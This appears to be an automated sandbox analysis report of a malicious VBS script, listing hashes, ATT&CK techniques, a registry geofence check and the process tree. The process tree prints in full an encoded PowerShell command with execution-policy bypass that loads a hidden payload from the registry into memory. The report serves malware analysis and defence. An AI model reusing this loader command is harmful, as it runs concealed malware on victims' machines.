4b056176eff38ea62624a06c424eb2ff021a616c884295d4b79366c1dc2aa066

Analysis

max time kernel
148s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
17-05-2024 01:23

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General

Target

4b056176eff38ea62624a06c424eb2ff021a616c884295d4b79366c1dc2aa066.vbs
Size

2.3MB
MD5

634eb9320cb4f68904ae3b1a7f79e618
SHA1

774cd24cdd4f048a2a8c8e922e7a4d38fd3189b0
SHA256

4b056176eff38ea62624a06c424eb2ff021a616c884295d4b79366c1dc2aa066
SHA512

3dc169aa442a40bfffca11f83e50424eddb19f3a81a0a7546567025ce7d8e9c7f53fedd39a5a4b9db83c07ff8067b6a540a294a1cd22f0457c06ed0fc55afd48
SSDEEP

1536:yDirsVK3UWzV4AgpQqfmaB27EXtBSgb8N2nCDlez32htAYYjqNRv5Lv6cHRbIRdx:TSN3ek

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
33	2884	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2884	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2884	powershell.exe
2884	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2884	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3228 wrote to memory of 2884	3228	WScript.exe	89
PID 3228 wrote to memory of 2884	3228	WScript.exe	89

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4b056176eff38ea62624a06c424eb2ff021a616c884295d4b79366c1dc2aa066.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -enc IAAkAHQAZQB4AHQAIAA9ACAAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABQAGEAeQBsAG8AYQBkAFwAKQAuAFAAYQB5AGwAbwBhAGQAKQA7ACAAJAB0AGUAeAB0ACAAPQAgAC0AagBvAGkAbgAgACQAdABlAHgAdABbAC0AMQAuAC4ALQAkAHQAZQB4AHQALgBMAGUAbgBnAHQAaABdADsAIABbAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAZQB4AHQAKQApAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAAuAEkAbgB2AG8AawBlACgAJABOAHUAbABsACwAJABOAHUAbABsACkAOwA=
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5gx0322a.gt2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2884-0-0x00007FFBA2203000-0x00007FFBA2205000-memory.dmp

Filesize
8KB

Download
memory/2884-1-0x000001E6F1EE0000-0x000001E6F1F02000-memory.dmp

Filesize
136KB

Download
memory/2884-11-0x00007FFBA2200000-0x00007FFBA2CC1000-memory.dmp

Filesize
10.8MB

Download
memory/2884-12-0x00007FFBA2200000-0x00007FFBA2CC1000-memory.dmp

Filesize
10.8MB

Download
memory/2884-13-0x000001E6F4130000-0x000001E6F4174000-memory.dmp

Filesize
272KB

Download
memory/2884-14-0x000001E6F40E0000-0x000001E6F4104000-memory.dmp

Filesize
144KB

Download
memory/2884-16-0x00007FFBA2203000-0x00007FFBA2205000-memory.dmp

Filesize
8KB

Download
memory/2884-17-0x00007FFBA2200000-0x00007FFBA2CC1000-memory.dmp

Filesize
10.8MB

Download
memory/2884-18-0x000001E6F65F0000-0x000001E6F6666000-memory.dmp

Filesize
472KB

Download